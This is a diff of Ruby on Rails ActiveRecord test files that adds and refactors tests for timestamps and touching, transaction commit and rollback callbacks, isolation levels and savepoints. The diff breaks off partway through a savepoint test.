@@ -1,5 +1,7 @@
 require 'cases/helper'
+require 'support/ddl_helper'
 require 'models/developer'
+require 'models/computer'
 require 'models/owner'
 require 'models/pet'
 require 'models/toy'
@@ -11,6 +13,7 @@ class TimestampTest < ActiveRecord::TestCase
 
   def setup
     @developer = Developer.first
+    @owner = Owner.first
     @developer.update_columns(updated_at: Time.now.prev_month)
     @previously_updated_at = @developer.updated_at
   end
@@ -88,10 +91,88 @@ class TimestampTest < ActiveRecord::TestCase
     assert_in_delta Time.now, task.ending, 1
   end
 
+  def test_touching_many_attributes_updates_them
+    task = Task.first
+    previous_starting = task.starting
+    previous_ending = task.ending
+    task.touch(:starting, :ending)
+
+    assert_not_equal previous_starting, task.starting
+    assert_not_equal previous_ending, task.ending
+    assert_in_delta Time.now, task.starting, 1
+    assert_in_delta Time.now, task.ending, 1
+  end
+
   def test_touching_a_record_without_timestamps_is_unexceptional
     assert_nothing_raised { Car.first.touch }
   end
 
+  def test_touching_a_no_touching_object
+    Developer.no_touching do
+      assert @developer.no_touching?
+      assert !@owner.no_touching?
+      @developer.touch
+    end
+
+    assert !@developer.no_touching?
+    assert !@owner.no_touching?
+    assert_equal @previously_updated_at, @developer.updated_at
+  end
+
+  def test_touching_related_objects
+    @owner = Owner.first
+    @previously_updated_at = @owner.updated_at
+
+    Owner.no_touching do
+      @owner.pets.first.touch
+    end
+
+    assert_equal @previously_updated_at, @owner.updated_at
+  end
+
+  def test_global_no_touching
+    ActiveRecord::Base.no_touching do
+      assert @developer.no_touching?
+      assert @owner.no_touching?
+      @developer.touch
+    end
+
+    assert !@developer.no_touching?
+    assert !@owner.no_touching?
+    assert_equal @previously_updated_at, @developer.updated_at
+  end
+
+  def test_no_touching_threadsafe
+    Thread.new do
+      Developer.no_touching do
+        assert @developer.no_touching?
+
+        sleep(1)
+      end
+    end
+
+    assert !@developer.no_touching?
+  end
+
+  def test_no_touching_with_callbacks
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = "developers"
+
+      attr_accessor :after_touch_called
+
+      after_touch do |user|
+        user.after_touch_called = true
+      end
+    end
+
+    developer = klass.first
+
+    klass.no_touching do
+      developer.touch
+      assert_not developer.after_touch_called
+    end
+  end
+
   def test_saving_a_record_with_a_belongs_to_that_specifies_touching_the_parent_should_update_the_parent_updated_at
     pet   = Pet.first
     owner = pet.owner
@@ -224,36 +305,62 @@ class TimestampTest < ActiveRecord::TestCase
     assert_not_equal time, old_pet.updated_at
   end
 
-  def test_changing_parent_of_a_record_touches_both_new_and_old_polymorphic_parent_record
-    klass = Class.new(ActiveRecord::Base) do
-      def self.name; 'Toy'; end
+  def test_changing_parent_of_a_record_touches_both_new_and_old_polymorphic_parent_record_changes_within_same_class
+    car_class = Class.new(ActiveRecord::Base) do
+      def self.name; 'Car'; end
     end
 
-    wheel_klass = Class.new(ActiveRecord::Base) do
+    wheel_class = Class.new(ActiveRecord::Base) do
       def self.name; 'Wheel'; end
       belongs_to :wheelable, :polymorphic => true, :touch => true
     end
 
-    toy1 = klass.find(1)
-    toy2 = klass.find(2)
+    car1 = car_class.find(1)
+    car2 = car_class.find(2)
 
-    wheel = wheel_klass.new
-    wheel.wheelable = toy1
-    wheel.save!
+    wheel = wheel_class.create!(wheelable: car1)
 
     time = 3.days.ago.at_beginning_of_hour
 
-    toy1.update_columns(updated_at: time)
-    toy2.update_columns(updated_at: time)
+    car1.update_columns(updated_at: time)
+    car2.update_columns(updated_at: time)
 
-    wheel.wheelable = toy2
+    wheel.wheelable = car2
     wheel.save!
 
-    toy1.reload
-    toy2.reload
+    assert_not_equal time, car1.reload.updated_at
+    assert_not_equal time, car2.reload.updated_at
+  end
+
+  def test_changing_parent_of_a_record_touches_both_new_and_old_polymorphic_parent_record_changes_with_other_class
+    car_class = Class.new(ActiveRecord::Base) do
+      def self.name; 'Car'; end
+    end
+
+    toy_class = Class.new(ActiveRecord::Base) do
+      def self.name; 'Toy'; end
+    end
+
+    wheel_class = Class.new(ActiveRecord::Base) do
+      def self.name; 'Wheel'; end
+      belongs_to :wheelable, :polymorphic => true, :touch => true
+    end
+
+    car = car_class.find(1)
+    toy = toy_class.find(3)
+
+    wheel = wheel_class.create!(wheelable: car)
+
+    time = 3.days.ago.at_beginning_of_hour
+
+    car.update_columns(updated_at: time)
+    toy.update_columns(updated_at: time)
+
+    wheel.wheelable = toy
+    wheel.save!
 
-    assert_not_equal time, toy1.updated_at
-    assert_not_equal time, toy2.updated_at
+    assert_not_equal time, car.reload.updated_at
+    assert_not_equal time, toy.reload.updated_at
   end
 
   def test_clearing_association_touches_the_old_record
@@ -276,33 +383,64 @@ class TimestampTest < ActiveRecord::TestCase
     assert_not_equal time, pet.updated_at
   end
 
+  def test_timestamp_column_values_are_present_in_the_callbacks
+    klass = Class.new(ActiveRecord::Base) do
+      self.table_name = 'people'
+
+      before_create do
+        self.born_at = self.created_at
+      end
+    end
+
+    person = klass.create first_name: 'David'
+    assert_not_equal person.born_at, nil
+  end
+
   def test_timestamp_attributes_for_create
     toy = Toy.first
-    assert_equal toy.send(:timestamp_attributes_for_create), [:created_at, :created_on]
+    assert_equal [:created_at, :created_on], toy.send(:timestamp_attributes_for_create)
   end
 
   def test_timestamp_attributes_for_update
     toy = Toy.first
-    assert_equal toy.send(:timestamp_attributes_for_update), [:updated_at, :updated_on]
+    assert_equal [:updated_at, :updated_on], toy.send(:timestamp_attributes_for_update)
   end
 
   def test_all_timestamp_attributes
     toy = Toy.first
-    assert_equal toy.send(:all_timestamp_attributes), [:created_at, :created_on, :updated_at, :updated_on]
+    assert_equal [:created_at, :created_on, :updated_at, :updated_on], toy.send(:all_timestamp_attributes)
   end
 
   def test_timestamp_attributes_for_create_in_model
     toy = Toy.first
-    assert_equal toy.send(:timestamp_attributes_for_create_in_model), [:created_at]
+    assert_equal [:created_at], toy.send(:timestamp_attributes_for_create_in_model)
   end
 
   def test_timestamp_attributes_for_update_in_model
     toy = Toy.first
-    assert_equal toy.send(:timestamp_attributes_for_update_in_model), [:updated_at]
+    assert_equal [:updated_at], toy.send(:timestamp_attributes_for_update_in_model)
   end
 
   def test_all_timestamp_attributes_in_model
     toy = Toy.first
-    assert_equal toy.send(:all_timestamp_attributes_in_model), [:created_at, :updated_at]
+    assert_equal [:created_at, :updated_at], toy.send(:all_timestamp_attributes_in_model)
+  end
+end
+
+class TimestampsWithoutTransactionTest < ActiveRecord::TestCase
+  include DdlHelper
+  self.use_transactional_fixtures = false
+
+  class TimestampAttributePost < ActiveRecord::Base
+    attr_accessor :created_at, :updated_at
+  end
+
+  def test_do_not_write_timestamps_on_save_if_they_are_not_attributes
+    with_example_table ActiveRecord::Base.connection, "timestamp_attribute_posts", "id integer primary key" do
+      post = TimestampAttributePost.new(id: 1)
+      post.save! # should not try to assign and persist created_at, updated_at
+      assert_nil post.created_at
+      assert_nil post.updated_at
+    end
   end
 end
diff --git a/activerecord/test/cases/transaction_callbacks_test.rb b/activerecord/test/cases/transaction_callbacks_test.rb
index 5644a35385..f185cda263 100644
--- a/activerecord/test/cases/transaction_callbacks_test.rb
+++ b/activerecord/test/cases/transaction_callbacks_test.rb
@@ -1,9 +1,10 @@
 require "cases/helper"
+require 'models/owner'
+require 'models/pet'
 require 'models/topic'
 
 class TransactionCallbacksTest < ActiveRecord::TestCase
-  self.use_transactional_fixtures = false
-  fixtures :topics
+  fixtures :topics, :owners, :pets
 
   class ReplyWithCallbacks < ActiveRecord::Base
     self.table_name = :topics
@@ -14,6 +15,11 @@ class TransactionCallbacksTest < ActiveRecord::TestCase
 
     after_commit :do_after_commit, on: :create
 
+    attr_accessor :save_on_after_create
+    after_create do
+      self.save! if save_on_after_create
+    end
+
     def history
       @history ||= []
     end
@@ -28,14 +34,14 @@ class TransactionCallbacksTest < ActiveRecord::TestCase
 
     has_many :replies, class_name: "ReplyWithCallbacks", foreign_key: "parent_id"
 
-    after_commit{|record| record.send(:do_after_commit, nil)}
-    after_commit(:on => :create){|record| record.send(:do_after_commit, :create)}
-    after_commit(:on => :update){|record| record.send(:do_after_commit, :update)}
-    after_commit(:on => :destroy){|record| record.send(:do_after_commit, :destroy)}
-    after_rollback{|record| record.send(:do_after_rollback, nil)}
-    after_rollback(:on => :create){|record| record.send(:do_after_rollback, :create)}
-    after_rollback(:on => :update){|record| record.send(:do_after_rollback, :update)}
-    after_rollback(:on => :destroy){|record| record.send(:do_after_rollback, :destroy)}
+    after_commit { |record| record.do_after_commit(nil) }
+    after_commit(on: :create) { |record| record.do_after_commit(:create) }
+    after_commit(on: :update) { |record| record.do_after_commit(:update) }
+    after_commit(on: :destroy) { |record| record.do_after_commit(:destroy) }
+    after_rollback { |record| record.do_after_rollback(nil) }
+    after_rollback(on: :create) { |record| record.do_after_rollback(:create) }
+    after_rollback(on: :update) { |record| record.do_after_rollback(:update) }
+    after_rollback(on: :destroy) { |record| record.do_after_rollback(:destroy) }
 
     def history
       @history ||= []
@@ -65,7 +71,7 @@ class TransactionCallbacksTest < ActiveRecord::TestCase
   end
 
   def setup
-    @first, @second = TopicWithCallbacks.find(1, 3).sort_by { |t| t.id }
+    @first = TopicWithCallbacks.find(1)
   end
 
   def test_call_after_commit_after_transaction_commits
@@ -77,40 +83,25 @@ class TransactionCallbacksTest < ActiveRecord::TestCase
   end
 
   def test_only_call_after_commit_on_update_after_transaction_commits_for_existing_record
-    @first.after_commit_block(:create){|r| r.history << :commit_on_create}
-    @first.after_commit_block(:update){|r| r.history << :commit_on_update}
-    @first.after_commit_block(:destroy){|r| r.history << :commit_on_destroy}
-    @first.after_rollback_block(:create){|r| r.history << :rollback_on_create}
-    @first.after_rollback_block(:update){|r| r.history << :rollback_on_update}
-    @first.after_rollback_block(:destroy){|r| r.history << :rollback_on_destroy}
+    add_transaction_execution_blocks @first
 
     @first.save!
     assert_equal [:commit_on_update], @first.history
   end
 
   def test_only_call_after_commit_on_destroy_after_transaction_commits_for_destroyed_record
-    @first.after_commit_block(:create){|r| r.history << :commit_on_create}
-    @first.after_commit_block(:update){|r| r.history << :commit_on_update}
-    @first.after_commit_block(:destroy){|r| r.history << :commit_on_destroy}
-    @first.after_rollback_block(:create){|r| r.history << :rollback_on_create}
-    @first.after_rollback_block(:update){|r| r.history << :rollback_on_update}
-    @first.after_rollback_block(:destroy){|r| r.history << :rollback_on_destroy}
+    add_transaction_execution_blocks @first
 
     @first.destroy
     assert_equal [:commit_on_destroy], @first.history
   end
 
   def test_only_call_after_commit_on_create_after_transaction_commits_for_new_record
-    @new_record = TopicWithCallbacks.new(:title => "New topic", :written_on => Date.today)
-    @new_record.after_commit_block(:create){|r| r.history << :commit_on_create}
-    @new_record.after_commit_block(:update){|r| r.history << :commit_on_update}
-    @new_record.after_commit_block(:destroy){|r| r.history << :commit_on_destroy}
-    @new_record.after_rollback_block(:create){|r| r.history << :rollback_on_create}
-    @new_record.after_rollback_block(:update){|r| r.history << :rollback_on_update}
-    @new_record.after_rollback_block(:destroy){|r| r.history << :rollback_on_destroy}
-
-    @new_record.save!
-    assert_equal [:commit_on_create], @new_record.history
+    new_record = TopicWithCallbacks.new(:title => "New topic", :written_on => Date.today)
+    add_transaction_execution_blocks new_record
+
+    new_record.save!
+    assert_equal [:commit_on_create], new_record.history
   end
 
   def test_only_call_after_commit_on_create_after_transaction_commits_for_new_record_if_create_succeeds_creating_through_association
@@ -120,6 +111,36 @@ class TransactionCallbacksTest < ActiveRecord::TestCase
     assert_equal [], reply.history
   end
 
+  def test_only_call_after_commit_on_create_and_doesnt_leaky
+    r = ReplyWithCallbacks.new(content: 'foo')
+    r.save_on_after_create = true
+    r.save!
+    r.content = 'bar'
+    r.save!
+    r.save!
+    assert_equal [:commit_on_create], r.history
+  end
+
+  def test_only_call_after_commit_on_update_after_transaction_commits_for_existing_record_on_touch
+    add_transaction_execution_blocks @first
+
+    @first.touch
+    assert_equal [:commit_on_update], @first.history
+  end
+
+  def test_only_call_after_commit_on_top_level_transactions
+    @first.after_commit_block{|r| r.history << :after_commit}
+    assert @first.history.empty?
+
+    @first.transaction do
+      @first.transaction(requires_new: true) do
+        @first.touch
+      end
+      assert @first.history.empty?
+    end
+    assert_equal [:after_commit], @first.history
+  end
+
   def test_call_after_rollback_after_transaction_rollsback
     @first.after_commit_block{|r| r.history << :after_commit}
     @first.after_rollback_block{|r| r.history << :after_rollback}
@@ -133,12 +154,7 @@ class TransactionCallbacksTest < ActiveRecord::TestCase
   end
 
   def test_only_call_after_rollback_on_update_after_transaction_rollsback_for_existing_record
-    @first.after_commit_block(:create){|r| r.history << :commit_on_create}
-    @first.after_commit_block(:update){|r| r.history << :commit_on_update}
-    @first.after_commit_block(:destroy){|r| r.history << :commit_on_destroy}
-    @first.after_rollback_block(:create){|r| r.history << :rollback_on_create}
-    @first.after_rollback_block(:update){|r| r.history << :rollback_on_update}
-    @first.after_rollback_block(:destroy){|r| r.history << :rollback_on_destroy}
+    add_transaction_execution_blocks @first
 
     Topic.transaction do
       @first.save!
@@ -148,13 +164,19 @@ class TransactionCallbacksTest < ActiveRecord::TestCase
     assert_equal [:rollback_on_update], @first.history
   end
 
+  def test_only_call_after_rollback_on_update_after_transaction_rollsback_for_existing_record_on_touch
+    add_transaction_execution_blocks @first
+
+    Topic.transaction do
+      @first.touch
+      raise ActiveRecord::Rollback
+    end
+
+    assert_equal [:rollback_on_update], @first.history
+  end
+
   def test_only_call_after_rollback_on_destroy_after_transaction_rollsback_for_destroyed_record
-    @first.after_commit_block(:create){|r| r.history << :commit_on_create}
-    @first.after_commit_block(:update){|r| r.history << :commit_on_update}
-    @first.after_commit_block(:destroy){|r| r.history << :commit_on_update}
-    @first.after_rollback_block(:create){|r| r.history << :rollback_on_create}
-    @first.after_rollback_block(:update){|r| r.history << :rollback_on_update}
-    @first.after_rollback_block(:destroy){|r| r.history << :rollback_on_destroy}
+    add_transaction_execution_blocks @first
 
     Topic.transaction do
       @first.destroy
@@ -165,38 +187,33 @@ class TransactionCallbacksTest < ActiveRecord::TestCase
   end
 
   def test_only_call_after_rollback_on_create_after_transaction_rollsback_for_new_record
-    @new_record = TopicWithCallbacks.new(:title => "New topic", :written_on => Date.today)
-    @new_record.after_commit_block(:create){|r| r.history << :commit_on_create}
-    @new_record.after_commit_block(:update){|r| r.history << :commit_on_update}
-    @new_record.after_commit_block(:destroy){|r| r.history << :commit_on_destroy}
-    @new_record.after_rollback_block(:create){|r| r.history << :rollback_on_create}
-    @new_record.after_rollback_block(:update){|r| r.history << :rollback_on_update}
-    @new_record.after_rollback_block(:destroy){|r| r.history << :rollback_on_destroy}
+    new_record = TopicWithCallbacks.new(:title => "New topic", :written_on => Date.today)
+    add_transaction_execution_blocks new_record
 
     Topic.transaction do
-      @new_record.save!
+      new_record.save!
       raise ActiveRecord::Rollback
     end
 
-    assert_equal [:rollback_on_create], @new_record.history
+    assert_equal [:rollback_on_create], new_record.history
   end
 
   def test_call_after_rollback_when_commit_fails
-    @first.class.connection.singleton_class.send(:alias_method, :real_method_commit_db_transaction, :commit_db_transaction)
-    begin
-      @first.class.connection.singleton_class.class_eval do
-        def commit_db_transaction; raise "boom!"; end
-      end
+    @first.after_commit_block { |r| r.history << :after_commit }
+    @first.after_rollback_block { |r| r.history << :after_rollback }
 
-      @first.after_commit_block{|r| r.history << :after_commit}
-      @first.after_rollback_block{|r| r.history << :after_rollback}
+    assert_raises RuntimeError do
+      @first.transaction do
+        tx = @first.class.connection.transaction_manager.current_transaction
+        def tx.commit
+          raise
+        end
 
-      assert !@first.save rescue nil
-      assert_equal [:after_rollback], @first.history
-    ensure
-      @first.class.connection.singleton_class.send(:remove_method, :commit_db_transaction)
-      @first.class.connection.singleton_class.send(:alias_method, :commit_db_transaction, :real_method_commit_db_transaction)
+        @first.save
+      end
     end
+
+    assert_equal [:after_rollback], @first.history
   end
 
   def test_only_call_after_rollback_on_records_rolled_back_to_a_savepoint
@@ -205,23 +222,24 @@ class TransactionCallbacksTest < ActiveRecord::TestCase
     @first.after_rollback_block{|r| r.rollbacks(1)}
     @first.after_commit_block{|r| r.commits(1)}
 
-    def @second.rollbacks(i=0); @rollbacks ||= 0; @rollbacks += i if i; end
-    def @second.commits(i=0); @commits ||= 0; @commits += i if i; end
-    @second.after_rollback_block{|r| r.rollbacks(1)}
-    @second.after_commit_block{|r| r.commits(1)}
+    second = TopicWithCallbacks.find(3)
+    def second.rollbacks(i=0); @rollbacks ||= 0; @rollbacks += i if i; end
+    def second.commits(i=0); @commits ||= 0; @commits += i if i; end
+    second.after_rollback_block{|r| r.rollbacks(1)}
+    second.after_commit_block{|r| r.commits(1)}
 
     Topic.transaction do
       @first.save!
       Topic.transaction(:requires_new => true) do
-        @second.save!
+        second.save!
         raise ActiveRecord::Rollback
       end
     end
 
     assert_equal 1, @first.commits
     assert_equal 0, @first.rollbacks
-    assert_equal 0, @second.commits
-    assert_equal 1, @second.rollbacks
+    assert_equal 0, second.commits
+    assert_equal 1, second.rollbacks
   end
 
   def test_only_call_after_rollback_on_records_rolled_back_to_a_savepoint_when_release_savepoint_fails
@@ -247,38 +265,105 @@ class TransactionCallbacksTest < ActiveRecord::TestCase
     assert_equal 2, @first.rollbacks
   end
 
-  def test_after_transaction_callbacks_should_prevent_callbacks_from_being_called
-    def @first.last_after_transaction_error=(e); @last_transaction_error = e; end
-    def @first.last_after_transaction_error; @last_transaction_error; end
-    @first.after_commit_block{|r| r.last_after_transaction_error = :commit; raise "fail!";}
-    @first.after_rollback_block{|r| r.last_after_transaction_error = :rollback; raise "fail!";}
-    @second.after_commit_block{|r| r.history << :after_commit}
-    @second.after_rollback_block{|r| r.history << :after_rollback}
+  def test_after_commit_callback_should_not_swallow_errors
+    @first.after_commit_block{ fail "boom" }
+    assert_raises(RuntimeError) do
+      Topic.transaction do
+        @first.save!
+      end
+    end
+  end
 
-    Topic.transaction do
-      @first.save!
-      @second.save!
+  def test_after_commit_callback_when_raise_should_not_restore_state
+    first = TopicWithCallbacks.new
+    second = TopicWithCallbacks.new
+    first.after_commit_block{ fail "boom" }
+    second.after_commit_block{ fail "boom" }
+
+    begin
+      Topic.transaction do
+        first.save!
+        assert_not_nil first.id
+        second.save!
+        assert_not_nil second.id
+      end
+    rescue
     end
-    assert_equal :commit, @first.last_after_transaction_error
-    assert_equal [:after_commit], @second.history
+    assert_not_nil first.id
+    assert_not_nil second.id
+    assert first.reload
+  end
 
-    @second.history.clear
-    Topic.transaction do
-      @first.save!
-      @second.save!
-      raise ActiveRecord::Rollback
+  def test_after_rollback_callback_should_not_swallow_errors_when_set_to_raise
+    error_class = Class.new(StandardError)
+    @first.after_rollback_block{ raise error_class }
+    assert_raises(error_class) do
+      Topic.transaction do
+        @first.save!
+        raise ActiveRecord::Rollback
+      end
     end
-    assert_equal :rollback, @first.last_after_transaction_error
-    assert_equal [:after_rollback], @second.history
+  end
+
+  def test_after_rollback_callback_when_raise_should_restore_state
+    error_class = Class.new(StandardError)
+
+    first = TopicWithCallbacks.new
+    second = TopicWithCallbacks.new
+    first.after_rollback_block{ raise error_class }
+    second.after_rollback_block{ raise error_class }
+
+    begin
+      Topic.transaction do
+        first.save!
+        assert_not_nil first.id
+        second.save!
+        assert_not_nil second.id
+        raise ActiveRecord::Rollback
+      end
+    rescue error_class
+    end
+    assert_nil first.id
+    assert_nil second.id
   end
 
   def test_after_rollback_callbacks_should_validate_on_condition
-    assert_raise(ArgumentError) { Topic.send(:after_rollback, :on => :save) }
+    assert_raise(ArgumentError) { Topic.after_rollback(on: :save) }
+    e = assert_raise(ArgumentError) { Topic.after_rollback(on: 'create') }
+    assert_match(/:on conditions for after_commit and after_rollback callbacks have to be one of \[:create, :destroy, :update\]/, e.message)
   end
 
   def test_after_commit_callbacks_should_validate_on_condition
-    assert_raise(ArgumentError) { Topic.send(:after_commit, :on => :save) }
+    assert_raise(ArgumentError) { Topic.after_commit(on: :save) }
+    e = assert_raise(ArgumentError) { Topic.after_commit(on: 'create') }
+    assert_match(/:on conditions for after_commit and after_rollback callbacks have to be one of \[:create, :destroy, :update\]/, e.message)
   end
+
+  def test_saving_a_record_with_a_belongs_to_that_specifies_touching_the_parent_should_call_callbacks_on_the_parent_object
+    pet   = Pet.first
+    owner = pet.owner
+    flag = false
+
+    owner.on_after_commit do
+      flag = true
+    end
+
+    pet.name = "Fluffy the Third"
+    pet.save
+
+    assert flag
+  end
+
+  private
+
+    def add_transaction_execution_blocks(record)
+      record.after_commit_block(:create) { |r| r.history << :commit_on_create }
+      record.after_commit_block(:update) { |r| r.history << :commit_on_update }
+      record.after_commit_block(:destroy) { |r| r.history << :commit_on_destroy }
+      record.after_rollback_block(:create) { |r| r.history << :rollback_on_create }
+      record.after_rollback_block(:update) { |r| r.history << :rollback_on_update }
+      record.after_rollback_block(:destroy) { |r| r.history << :rollback_on_destroy }
+    end
 end
 
 class CallbacksOnMultipleActionsTest < ActiveRecord::TestCase
diff --git a/activerecord/test/cases/transaction_isolation_test.rb b/activerecord/test/cases/transaction_isolation_test.rb
index 4f1cb99b68..f89c26532d 100644
--- a/activerecord/test/cases/transaction_isolation_test.rb
+++ b/activerecord/test/cases/transaction_isolation_test.rb
@@ -1,113 +1,105 @@
 require 'cases/helper'
 
-class TransactionIsolationUnsupportedTest < ActiveRecord::TestCase
-  self.use_transactional_fixtures = false
+unless ActiveRecord::Base.connection.supports_transaction_isolation?
+  class TransactionIsolationUnsupportedTest < ActiveRecord::TestCase
+    self.use_transactional_fixtures = false
 
-  class Tag < ActiveRecord::Base
-  end
-
-  setup do
-    if ActiveRecord::Base.connection.supports_transaction_isolation?
-      skip "database supports transaction isolation; test is irrelevant"
+    class Tag < ActiveRecord::Base
     end
-  end
 
-  test "setting the isolation level raises an error" do
-    assert_raises(ActiveRecord::TransactionIsolationError) do
-      Tag.transaction(isolation: :serializable) { }
+    test "setting the isolation level raises an error" do
+      assert_raises(ActiveRecord::TransactionIsolationError) do
+        Tag.transaction(isolation: :serializable) { }
+      end
     end
   end
 end
 
-class TransactionIsolationTest < ActiveRecord::TestCase
-  self.use_transactional_fixtures = false
-
-  class Tag < ActiveRecord::Base
-    self.table_name = 'tags'
-  end
-
-  class Tag2 < ActiveRecord::Base
-    self.table_name = 'tags'
-  end
+if ActiveRecord::Base.connection.supports_transaction_isolation?
+  class TransactionIsolationTest < ActiveRecord::TestCase
+    self.use_transactional_fixtures = false
 
-  setup do
-    unless ActiveRecord::Base.connection.supports_transaction_isolation?
-      skip "database does not support setting transaction isolation"
+    class Tag < ActiveRecord::Base
+      self.table_name = 'tags'
     end
 
-    Tag.establish_connection 'arunit'
-    Tag2.establish_connection 'arunit'
-    Tag.destroy_all
-  end
-
-  # It is impossible to properly test read uncommitted. The SQL standard only
-  # specifies what must not happen at a certain level, not what must happen. At
-  # the read uncommitted level, there is nothing that must not happen.
-  test "read uncommitted" do
-    unless ActiveRecord::Base.connection.transaction_isolation_levels.include?(:read_uncommitted)
-      skip "database does not support read uncommitted isolation level"
+    class Tag2 < ActiveRecord::Base
+      self.table_name = 'tags'
     end
-    Tag.transaction(isolation: :read_uncommitted) do
-      assert_equal 0, Tag.count
-      Tag2.create
-      assert_equal 1, Tag.count
+
+    setup do
+      Tag.establish_connection :arunit
+      Tag2.establish_connection :arunit
+      Tag.destroy_all
     end
-  end
 
-  # We are testing that a dirty read does not happen
-  test "read committed" do
-    Tag.transaction(isolation: :read_committed) do
-      assert_equal 0, Tag.count
+    # It is impossible to properly test read uncommitted. The SQL standard only
+    # specifies what must not happen at a certain level, not what must happen. At
+    # the read uncommitted level, there is nothing that must not happen.
+    if ActiveRecord::Base.connection.transaction_isolation_levels.include?(:read_uncommitted)
+      test "read uncommitted" do
+        Tag.transaction(isolation: :read_uncommitted) do
+          assert_equal 0, Tag.count
+          Tag2.create
+          assert_equal 1, Tag.count
+        end
+      end
+    end
 
-      Tag2.transaction do
-        Tag2.create
+    # We are testing that a dirty read does not happen
+    test "read committed" do
+      Tag.transaction(isolation: :read_committed) do
         assert_equal 0, Tag.count
+
+        Tag2.transaction do
+          Tag2.create
+          assert_equal 0, Tag.count
+        end
       end
+
+      assert_equal 1, Tag.count
     end
 
-    assert_equal 1, Tag.count
-  end
+    # We are testing that a nonrepeatable read does not happen
+    if ActiveRecord::Base.connection.transaction_isolation_levels.include?(:repeatable_read)
+      test "repeatable read" do
+        tag = Tag.create(name: 'jon')
 
-  # We are testing that a nonrepeatable read does not happen
-  test "repeatable read" do
-    unless ActiveRecord::Base.connection.transaction_isolation_levels.include?(:repeatable_read)
-      skip "database does not support repeatable read isolation level"
-    end
-    tag = Tag.create(name: 'jon')
+        Tag.transaction(isolation: :repeatable_read) do
+          tag.reload
+          Tag2.find(tag.id).update(name: 'emily')
 
-    Tag.transaction(isolation: :repeatable_read) do
-      tag.reload
-      Tag2.find(tag.id).update(name: 'emily')
+          tag.reload
+          assert_equal 'jon', tag.name
+        end
 
-      tag.reload
-      assert_equal 'jon', tag.name
+        tag.reload
+        assert_equal 'emily', tag.name
+      end
     end
 
-    tag.reload
-    assert_equal 'emily', tag.name
-  end
-
-  # We are only testing that there are no errors because it's too hard to
-  # test serializable. Databases behave differently to enforce the serializability
-  # constraint.
-  test "serializable" do
-    Tag.transaction(isolation: :serializable) do
-      Tag.create
+    # We are only testing that there are no errors because it's too hard to
+    # test serializable. Databases behave differently to enforce the serializability
+    # constraint.
+    test "serializable" do
+      Tag.transaction(isolation: :serializable) do
+        Tag.create
+      end
     end
-  end
 
-  test "setting isolation when joining a transaction raises an error" do
-    Tag.transaction do
-      assert_raises(ActiveRecord::TransactionIsolationError) do
-        Tag.transaction(isolation: :serializable) { }
+    test "setting isolation when joining a transaction raises an error" do
+      Tag.transaction do
+        assert_raises(ActiveRecord::TransactionIsolationError) do
+          Tag.transaction(isolation: :serializable) { }
+        end
       end
     end
-  end
 
-  test "setting isolation when starting a nested transaction raises error" do
-    Tag.transaction do
-      assert_raises(ActiveRecord::TransactionIsolationError) do
-        Tag.transaction(requires_new: true, isolation: :serializable) { }
+    test "setting isolation when starting a nested transaction raises error" do
+      Tag.transaction do
+        assert_raises(ActiveRecord::TransactionIsolationError) do
+          Tag.transaction(requires_new: true, isolation: :serializable) { }
+        end
       end
     end
   end
diff --git a/activerecord/test/cases/transactions_test.rb b/activerecord/test/cases/transactions_test.rb
index a5cb22aaf6..d1d8e71c34 100644
--- a/activerecord/test/cases/transactions_test.rb
+++ b/activerecord/test/cases/transactions_test.rb
@@ -2,16 +2,23 @@ require "cases/helper"
 require 'models/topic'
 require 'models/reply'
 require 'models/developer'
+require 'models/computer'
 require 'models/book'
 require 'models/author'
 require 'models/post'
+require 'models/movie'
 
 class TransactionTest < ActiveRecord::TestCase
   self.use_transactional_fixtures = false
   fixtures :topics, :developers, :authors, :posts
 
   def setup
-    @first, @second = Topic.find(1, 2).sort_by { |t| t.id }
+    @first, @second = Topic.find(1, 2).sort_by(&:id)
+  end
+
+  def test_persisted_in_a_model_with_custom_primary_key_after_failed_save
+    movie = Movie.create
+    assert !movie.persisted?
   end
 
   def test_raise_after_destroy
@@ -74,6 +81,30 @@ class TransactionTest < ActiveRecord::TestCase
     end
   end
 
+  def test_number_of_transactions_in_commit
+    num = nil
+
+    Topic.connection.class_eval do
+      alias :real_commit_db_transaction :commit_db_transaction
+      define_method(:commit_db_transaction) do
+        num = transaction_manager.open_transactions
+        real_commit_db_transaction
+      end
+    end
+
+    Topic.transaction do
+      @first.approved  = true
+      @first.save!
+    end
+
+    assert_equal 0, num
+  ensure
+    Topic.connection.class_eval do
+      remove_method :commit_db_transaction
+      alias :commit_db_transaction :real_commit_db_transaction rescue nil
+    end
+  end
+
   def test_successful_with_instance_method
     @first.transaction do
       @first.approved  = true
@@ -117,6 +148,19 @@ class TransactionTest < ActiveRecord::TestCase
     assert !Topic.find(1).approved?
   end
 
+  def test_rolling_back_in_a_callback_rollbacks_before_save
+    def @first.before_save_for_transaction
+      raise ActiveRecord::Rollback
+    end
+    assert !@first.approved
+
+    Topic.transaction do
+      @first.approved  = true
+      @first.save!
+    end
+    assert !Topic.find(@first.id).approved?, "Should not commit the approved flag"
+  end
+
   def test_raising_exception_in_nested_transaction_restore_state_in_save
     topic = Topic.new
 
@@ -150,6 +194,16 @@ class TransactionTest < ActiveRecord::TestCase
     assert_equal posts_count, author.posts(true).size
   end
 
+  def test_cancellation_from_returning_false_in_before_filter
+    def @first.before_save_for_transaction
+      false
+    end
+
+    assert_deprecated do
+      @first.save
+    end
+  end
+
   def test_cancellation_from_before_destroy_rollbacks_in_destroy
     add_cancelling_before_destroy_with_db_side_effect_to_topic @first
     nbooks_before_destroy = Book.count
@@ -375,6 +429,56 @@ class TransactionTest < ActiveRecord::TestCase
     assert_equal "Three", @three
   end if Topic.connection.supports_savepoints?
 
+  def test_using_named_savepoints
+    Topic.transaction do
+      @first.approved  = true
+      @first.save!
+      Topic.connection.create_savepoint("first")
+
+      @first.approved  = false
+      @first.save!
+      Topic.connection.rollback_to_savepoint("first")
+      assert @first.reload.approved?
+
+      @first.approved  = false
+      @first.save!
+      Topic.connection.release_savepoint("first")
+      assert_not @first.reload.approved?
+    end
+  end if Topic.connection.supports_savepoints?
+
+  def test_releasing_named_savepoints
+    Topic.transaction do
+      Topic.connection.create_savepoint("another")
+      Topic.connection.release_savepoint("another")
+
+      # The savepoint is now gone and we can't remove it again.
+      assert_raises(ActiveRecord::StatementInvalid) do
+        Topic.connection.release_savepoint("another")
+      end
+    end
+  end
+
+  def test_savepoints_name
+    Topic.transaction do
+      assert_nil Topic.connection.current_savepoint_name
+      assert_nil Topic.connection.current_transaction.savepoint_name
+
+      Topic.transaction(requires_new: true) do
+        assert_equal "active_record_1", Topic.connection.current_savepoint_name
